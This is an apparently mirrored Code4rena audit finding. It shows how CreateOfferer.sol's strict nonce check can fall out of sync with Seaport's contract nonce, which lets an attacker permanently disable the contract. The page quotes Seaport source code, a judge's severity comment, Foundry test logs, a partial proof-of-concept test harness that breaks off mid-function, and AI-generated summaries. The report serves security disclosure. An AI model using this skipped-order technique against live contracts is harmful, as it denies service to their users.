CreateOfferer.sol should not enforce the nonce incremented sequentially, otherwise user can DOS the contract by skipping order
The CreateOfferer contract tracks its own nonce and requires it to match the nonce Seaport supplies during the ratifyOrder callback, but Seaport increments its contract nonce even when a contract order is skipped during a multi-order fulfilment. An attacker could submit a malformed contract order alongside a valid one so that the skipped order consumes a Seaport nonce, permanently desynchronising the two counters and making the CreateOfferer contract unusable.
“Seaport v1.2 introduced support for a new type of order: the contract order. In brief, a smart contract that implements the ContractOffererInterface (referred to as an “Seaport app contract” or ‘Seaport app’ in the docs and a ‘contract offerer’ in the code) can now provide a dynamically generated order (a contract order) in response to a buyer or seller’s contract order request.”
The CreateOfferer.sol aims to be comply with the interface ContractOffererInterface.
The life cycle of the contract life cycle here is here:
function processNonce(CreateOffererStructs.Nonce storage nonce, uint256 contractNonce) internal {
if (nonce.value != contractNonce) revert CreateOffererErrors.InvalidContractNonce(nonce.value, contractNonce);
unchecked {
++nonce.value;
} // Infeasible this will overflow if starting point is zero
}
The CreateOffererStructs.Nonce data structure is just nonce.
library CreateOffererStructs {
/// @notice Used to track the stage and lock status
struct Stage {
CreateOffererEnums.Stage flag;
CreateOffererEnums.Lock lock;
}
/// @notice Used to keep track of the seaport contract nonce of CreateOfferer
struct Nonce {
uint256 value;
}
But this is not how Seaport contract track contract nonce.
{
// Do a low-level call to get success status and any return data.
(bool success, bytes memory returnData) = _callGenerateOrder(
orderParameters,
context,
originalOfferItems,
originalConsiderationItems
);
{
// Increment contract nonce and use it to derive order hash.
// Note: nonce will be incremented even for skipped orders, and
// even if generateOrder's return data doesn't meet constraints.
uint256 contractNonce = (
_contractNonces[orderParameters.offerer]++
);
// Derive order hash from contract nonce and offerer address.
orderHash = bytes32(
contractNonce ^
(uint256(uint160(orderParameters.offerer)) << 96)
);
}
As we can see:
// Increment contract nonce and use it to derive order hash.
// Note: nonce will be incremented even for skipped orders, and
// even if generateOrder's return data doesn't meet constraints.
uint256 contractNonce = (
_contractNonces[orderParameters.offerer]++
);
Nonce will be incremented even for skipped orders.
This is very important, suppose the low level call _callGenerateOrder return false, we are hitting the else block.
function _revertOrReturnEmpty(
bool revertOnInvalid,
bytes32 contractOrderHash
)
internal
pure
returns (
bytes32 orderHash,
uint256 numerator,
uint256 denominator,
OrderToExecute memory emptyOrder
)
{
// If invalid input should not revert...
if (!revertOnInvalid) {
// Return the contract order hash and zero values for the numerator
// and denominator.
return (contractOrderHash, 0, 0, emptyOrder);
}
// Otherwise, revert.
revert InvalidContractOrder(contractOrderHash);
}
Clearly we can see that if the flag revertOnInvalid is set to false, then even the low level call return false, the nonce of the offerer is still incremented.
Where in the Seaport code does it set revertOnInvalid to false?
When the Seaport wants to combine multiple orders in this line of code.
function _fulfillAvailableAdvancedOrders(
AdvancedOrder[] memory advancedOrders,
CriteriaResolver[] memory criteriaResolvers,
FulfillmentComponent[][] memory offerFulfillments,
FulfillmentComponent[][] memory considerationFulfillments,
bytes32 fulfillerConduitKey,
address recipient,
uint256 maximumFulfilled
) internal returns (bool[] memory, /* availableOrders */ Execution[] memory /* executions */ ) {
// Validate orders, apply amounts, & determine if they use conduits.
(bytes32[] memory orderHashes, bool containsNonOpen) = _validateOrdersAndPrepareToFulfill(
advancedOrders,
criteriaResolvers,
false, // Signifies that invalid orders should NOT revert.
maximumFulfilled,
recipient
);
// Validate it, update status, and determine fraction to fill.
(bytes32 orderHash, uint256 numerator, uint256 denominator) =
_validateOrderAndUpdateStatus(advancedOrder, revertOnInvalid);
Finally we call the logic _getGeneratedOrder(orderParameters, advancedOrder.extraData, revertOnInvalid) below with parameter revertOnInvalid false.
// If the order is a contract order, return the generated order.
if (orderParameters.orderType == OrderType.CONTRACT) {
// Ensure that the numerator and denominator are both equal to 1.
assembly {
// (1 ^ nd =/= 0) => (nd =/= 1) => (n =/= 1) || (d =/= 1)
// It's important that the values are 120-bit masked before
// multiplication is applied. Otherwise, the last implication
// above is not correct (mod 2^256).
invalidFraction := xor(mul(numerator, denominator), 1)
}
// Revert if the supplied numerator and denominator are not valid.
if (invalidFraction) {
_revertBadFraction();
}
// Return the generated order based on the order params and the
// provided extra data. If revertOnInvalid is true, the function
// will revert if the input is invalid.
return _getGeneratedOrder(orderParameters, advancedOrder.extraData, revertOnInvalid);
}
Ok what does this mean?
Suppose the CreateOfferer.sol fulfills two orders and creates two delegate tokens.
The nonces start from 0 and then increment to 1 and then increment to 2.
A user crafts a contract with malformed minimumReceived and combines with another valid order to call OrderCombine.
As we can see above, when multiple order is passed in, the revertOnInvalid is set to false, so the contract order from CreateOfferer.sol is skipped, but the nonce is incremented.
Then the nonce tracked by CreateOfferer.sol internally is out of sync with the contract nonce in seaport contract forever.
if (nonce.value != contractNonce) revert CreateOffererErrors.InvalidContractNonce(nonce.value, contractNonce);
Recommended Mitigation Steps
I would recommend do not validate the order execution in the ratifyOrder call back by using the contract nonce, instead, validate the order using orderHash.
Believe issue is valid, would love confirmation from Seaport devs if you have it. Believe this should be a quality Medium not High because CreateOfferer is tangential to the core protocol, would not cause any loss of user funds if abused, and could be easily replaced if DoS-ed. Appreciate the detailed work to dive into the workings of Seaport nonces.
And indeed if we use fulfillAvailableAdvancedOrder to fulfill only one contract order and revert in other order, nonce is still incremented.
uint256 seaport_contrat_offer_1_nonce = seaport.getContractOffererNonce(address(contractOfferer1));
console2.log(seaport_contrat_offer_1_nonce); // the nonce of contract offerer on seaport is 1 is 1!!
uint256 oldNonce = contractOfferer1.nonce(); // the none of contract offerer 1 is 0!
console2.log(oldNonce);
Logs:
mockERC721.ownerOf(1) 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
mockERC721.ownerOf(2) 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
setRevert true
mockERC721.ownerOf(1) 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
mockERC721.ownerOf(2) 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
generateOrder
reverting
generateOrder
Sent ETH to SEAPORT true
fulfilled true
1
0
mockERC721.ownerOf(1) 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
mockERC721.ownerOf(2) 0xa0Cb889707d426A7A386870A03bc70d1b0697598
As shown by the logs, the Token 1 is not transfered, but the nonce is consumed.
POC
// SPDX-License-Identifier: CC0-1.0
pragma solidity ^0.8.21;
import {Test} from "forge-std/Test.sol";
import {BaseSeaportTest} from "./base/BaseSeaportTest.t.sol";
import {BaseLiquidDelegateTest} from "./base/BaseLiquidDelegateTest.t.sol";
import {SeaportHelpers, User} from "./utils/SeaportHelpers.t.sol";
import {IDelegateToken, Structs as IDelegateTokenStructs} from "src/interfaces/IDelegateToken.sol";
import {IDelegateRegistry} from "delegate-registry/src/IDelegateRegistry.sol";
import {AdvancedOrder, OrderParameters, Fulfillment, CriteriaResolver, OfferItem, ConsiderationItem, FulfillmentComponent} from "seaport/contracts/lib/ConsiderationStructs.sol";
import {ItemType, OrderType} from "seaport/contracts/lib/ConsiderationEnums.sol";
import {SpentItem} from "seaport/contracts/interfaces/ContractOffererInterface.sol";
import {CreateOfferer, Enums as OffererEnums, Structs as OffererStructs} from "src/CreateOfferer.sol";
import {MockERC721} from "./mock/MockTokens.t.sol";
import {WETH} from "./mock/WETH.t.sol";
import {console2} from "forge-std/console2.sol";
import {IERC721} from "openzeppelin/token/ERC721/IERC721.sol";
import {IERC1155} from "openzeppelin/token/ERC1155/IERC1155.sol";
import {ItemType} from "seaport/contracts/lib/ConsiderationEnums.sol";
import {ContractOffererInterface, SpentItem, ReceivedItem, Schema} from "seaport/contracts/interfaces/ContractOffererInterface.sol";
interface ISeaport {
function getContractOffererNonce(address contractOfferer) external view returns (uint256 nonce);
}
abstract contract ERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view returns (bool) {
return interfaceId == bytes4(keccak256("supportsInterface(bytes4)"));
}
}
/**
* @title TestContractOffererNativeToken
*/
contract TestContractOffererNativeToken is ContractOffererInterface, ERC165 {
error OrderUnavailable();
address private immutable _SEAPORT;
SpentItem private _available;
SpentItem private _required;
bool public ready;
bool public fulfilled;
uint256 public extraAvailable;
uint256 public extraRequired;
bool reverting = false;
uint256 public nonce = 0;
address public otherContract;
string public name;
event ShowName(string name);
event NumberUpdated(uint256 number);
constructor(address seaport, string memory _name) {
// Set immutable values and storage variables.
_SEAPORT = seaport;
fulfilled = false;
ready = false;
extraAvailable = 0;
extraRequired = 0;
name = _name;
}
function setRevert(bool state) public {
console2.log("setRevert", state);
reverting = state;
}
receive() external payable {}
function activate(SpentItem memory available, SpentItem memory required) public payable {
if (ready || fulfilled) {
revert OrderUnavailable();
}
// Set storage variables.
_available = available;
_required = required;
ready = true;
}
/// In case of criteria based orders and non-wildcard items, the member
/// `available.identifier` would correspond to the `identifierOrCriteria`
/// i.e., the merkle-root.
/// @param identifier corresponds to the actual token-id that gets transferred.
function activateWithCriteria(SpentItem memory available, SpentItem memory required, uint256 identifier) public {
if (ready || fulfilled) {
revert OrderUnavailable();
}
if (available.itemType == ItemType.ERC721_WITH_CRITERIA) {
IERC721 token = IERC721(available.token);
token.transferFrom(msg.sender, address(this), identifier);
token.setApprovalForAll(_SEAPORT, true);
} else if (available.itemType == ItemType.ERC1155_WITH_CRITERIA) {
IERC1155 token = IERC1155(available.token);
token.safeTransferFrom(msg.sender, address(this), identifier, available.amount, "");
token.setApprovalForAll(_SEAPORT, true);
}
// Set storage variables.
_available = available;
_required = required;
ready = true;
}
function extendAvailable() public {
if (!ready || fulfilled) {
revert OrderUnavailable();
}
extraAvailable++;
_available.amount /= 2;
}
function extendRequired() public {
if (!ready || fulfilled) {
revert OrderUnavailable();
}
extraRequired++;
}
function generateOrder(address, SpentItem[] calldata minimumReceived, SpentItem[] calldata maximumSpent, bytes calldata /* context */ )
external
returns (SpentItem[] memory offer, ReceivedItem[] memory consideration)
{
console2.log("generateOrder");
emit ShowName(name);
// Set the offer and consideration that were supplied during deployment.
if (reverting) {
console2.log("reverting");
revert("revert here");
}
if (otherContract != address(0)) {
uint256 result = ISeaport(_SEAPORT).getContractOffererNonce(otherContract);
console2.log("result", result);
emit NumberUpdated(result);
uint256 oldNonce = TestContractOffererNativeToken(payable(otherContract)).nonce();
emit NumberUpdated(oldNonce);
}
offer = new SpentItem[](1);
consideration = new ReceivedItem[](1);
// Send eth to Seaport.
(bool success,) = _SEAPORT.call{value: minimumReceived[0].amount}("");
console2.log("Sent ETH to SEAPORT", success);
// revert("error");
// Revert if transaction fails.
if (!success) {
assembly {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
// Set the offer item as the _available item in storage.
offer[0] = minimumReceived[0];
// Set the erc721 consideration item.
consideration[0] = ReceivedItem({
itemType: ItemType.ERC721,
token: maximumSpent[0].token,
identifier: maximumSpent[0].identifier,
amount: maximumSpent[0].amount,
recipient: payable(address(this))
});
// Update storage to reflect that the order has been fulfilled.
fulfilled = true;
console2.log("fulfilled", fulfilled);
}
function previewOrder(address caller, address, SpentItem[] calldata, SpentItem[] calldata, bytes calldata context)
external
view
returns (SpentItem[] memory offer, ReceivedItem[] memory consideration)
{
// Ensure the caller is Seaport & the order has not yet been fulfilled.
if (!ready || fulfilled || caller != _SEAPORT || context.length != 0) {
revert OrderUnavailable();
}
// Set the offer and consideration that were supplied during deployment.
offer = new SpentItem[](1 + extraAvailable);
consideration = new ReceivedItem[](1 + extraRequired);
for (uint256 i = 0; i < 1 + extraAvailable; ++i) {
offer[i] = _available;
}
for (uint256 i = 0; i < 1 + extraRequired; ++i) {
consideration[i] =
ReceivedItem({itemType: _required.itemType, token: _required.token, identifier: _required.identifier, amount: _required.amount, recipient: payable(address(this))});
}
}
function getInventory() external view returns (SpentItem[] memory offerable, SpentItem[] memory receivable) {
// Set offerable and receivable supplied at deployment if unfulfilled.
if (!ready || fulfilled) {
offerable = new SpentItem[](0);
receivable = new SpentItem[](0);
} else {
offerable = new SpentItem[](1 + extraAvailable);
for (uint256 i = 0; i < 1 + extraAvailable; ++i) {
offerable[i] = _available;
}
receivable = new SpentItem[](1 + extraRequired);
for (uint256 i = 0; i < 1 + extraRequired; ++i) {
receivable[i] = _required;
}
}
}
function ratifyOrder(
SpentItem[] calldata, /* offer */
ReceivedItem[] calldata, /* consideration */
bytes calldata, /* context */
bytes32[] calldata, /* orderHashes */
uint256 /* contractNonce */
) external pure returns (bytes4 /* ratifyOrderMagicValue */ ) {
return ContractOffererInterface.ratifyOrder.selector;
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns (bytes4) {
return bytes4(0xf23a6e61);
}
// function supportsInterface(
// bytes4 interfaceId
// )
// public
// view
// virtual
// override(ERC165, ContractOffererInterface)
// returns (bool)
// {
// return
// interfaceId == type(ContractOffererInterface).interfaceId ||
// super.supportsInterface(interfaceId);
// }
/**
* @dev Returns the metadata for this contract offerer.
*/
function getSeaportMetadata()
external
pure
override
returns (
string memory name,
Schema[] memory schemas // map to Seaport Improvement Proposal IDs
)
{
schemas = new Schema[](1);
schemas[0].id = 1337;
schemas[0].metadata = new bytes(0);
return ("TestContractOffererNativeToken", schemas);
}
}
contract CreateOffererTest is Test, BaseSeaportTest, BaseLiquidDelegateTest, SeaportHelpers {
CreateOfferer createOfferer;
WETH weth;
uint256 startGas;
User buyer;
User seller;
OfferItem offerItem;
ConsiderationItem considerationItem;
OfferItem[] offerItems;
ConsiderationItem[] considerationItems;
SpentItem[] minimumReceived;
SpentItem[] maximumSpent;
function setUp() public {
OffererStructs.Parameters memory createOffererParameters =
OffererStructs.Parameters({seaport: address(seaport), delegateToken: address(dt), principalToken: address(principal)});
createOfferer = new CreateOfferer(createOffererParameters);
weth = new WETH();
// Setup buyer and seller
seller = makeUser("seller");
vm.label(seller.addr, "seller");
buyer = makeUser("buyer");
vm.label(buyer.addr, "buyer");
}
function addOfferItem(OfferItem memory _offerItem) internal {
offerItems.push(_offerItem);
}
///@dev reset the offer items array
function resetOfferItems() internal {
delete offerItems;
}
///@dev Construct and an offer item to the offer items array
function addOfferItem(ItemType itemType, address token, uint256 identifier, uint256 startAmount, uint256 endAmount) internal {
offerItem.itemType = itemType;
offerItem.token = token;
offerItem.identifierOrCriteria = identifier;
offerItem.startAmount = startAmount;
offerItem.endAmount = endAmount;
addOfferItem(offerItem);
delete offerItem;
}
function addOfferItem(ItemType itemType, address token, uint256 identifier, uint256 amount) internal {
addOfferItem({itemType: itemType, token: token, identifier: identifier, startAmount: amount, endAmount: amount});
}
function addOfferItem(ItemType itemType, uint256 identifier, uint256 startAmount, uint256 endAmount) internal {
if (itemType == ItemType.NATIVE) {
addEthOfferItem(startAmount, endAmount);
} else if (itemType == ItemType.ERC20) {
addErc20OfferItem(startAmount, endAmount);
} else if (itemType == ItemType.ERC1155) {
addErc1155OfferItem(identifier, startAmount, endAmount);
} else {
addErc721OfferItem(identifier);
}
}
function addOfferItem(ItemType itemType, uint256 identifier, uint256 amt) internal {
addOfferItem(itemType, identifier, amt, amt);
}
function addErc721OfferItem(uint256 identifier) internal {
addErc721OfferItem(address(mockERC721), identifier);
}
function addErc721OfferItem(address token, uint256 identifier) internal {
addErc721OfferItem(token, identifier, 1, 1);
}
function addErc721OfferItem(address token, uint256 identifier, uint256 amount) internal {
addErc721OfferItem(token, identifier, amount, amount);
}
function addErc721OfferItem(address token, uint256 identifier, uint256 startAmount, uint256 endAmount) internal {
addOfferItem(ItemType.ERC721, token, identifier, startAmount, endAmount);
}
function addErc1155OfferItem(uint256 tokenId, uint256 amount) internal {
addOfferItem(ItemType.ERC1155, address(mockERC1155), tokenId, amount, amount);
}
function addErc20OfferItem(uint256 startAmount, uint256 endAmount) internal {
addOfferItem(ItemType.ERC20, address(mockERC20), 0, startAmount, endAmount);
}
function addErc20OfferItem(uint256 amount) internal {
addErc20OfferItem(amount, amount);
}
function addErc1155OfferItem(uint256 tokenId, uint256 startAmount, uint256 endAmount) internal {
addOfferItem(ItemType.ERC1155, address(mockERC1155), tokenId, startAmount, endAmount);
}
function addEthOfferItem(uint256 startAmount, uint256 endAmount) internal {
addOfferItem(ItemType.NATIVE, address(0), 0, startAmount, endAmount);
}
function addEthOfferItem(uint256 paymentAmount) internal {
addEthOfferItem(paymentAmount, paymentAmount);
}
///@dev add a considerationItem to the considerationItems array
function addConsiderationItem(ConsiderationItem memory _considerationItem) internal {
considerationItems.push(_considerationItem);
}
///@dev reset the considerationItems array
function resetConsiderationItems() internal {
delete considerationItems;
}
///@dev construct a considerationItem and add it to the considerationItems array
func
The original report as published on Code4rena, by ladboy233. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about a minute. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
How it worked
Root cause
Likely the CreateOfferer contract validates the Seaport contract nonce inside ratifyOrder and requires exact equality, but Seaport increments that nonce for skipped contract orders too, so the two counters can drift apart.
Impact
The CreateOfferer contract could be permanently disabled for all users, though no user funds are lost and the contract could be replaced.
What the attacker needed
Attacker can submit orders to Seaport; CreateOfferer deployed and in use; no special privileges needed
The fix
The contract should not rely on the Seaport contract nonce for validation in ratifyOrder and should instead validate using the order hash.
How it was found
Craft a contract order with malformed minimumReceived so that generateOrder reverts.
Combine that malformed order with another valid order and submit them together through the multi-order fulfilment path.
Seaport skips the failing contract order but still increments its contract nonce.
The CreateOfferer internal nonce is not incremented, so the two nonces no longer match.
Any later order that reaches ratifyOrder reverts on the nonce check, leaving the contract unusable.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about a minute. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
A nonce is a counter that should only go up by one each time something is used, so both sides stay in step. Here the marketplace contract (Seaport) bumps its counter even when an order is thrown away, but the CreateOfferer contract only bumps its own counter when an order actually succeeds. Once the two counters differ, every later order fails a check that they match, so the contract stops working.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.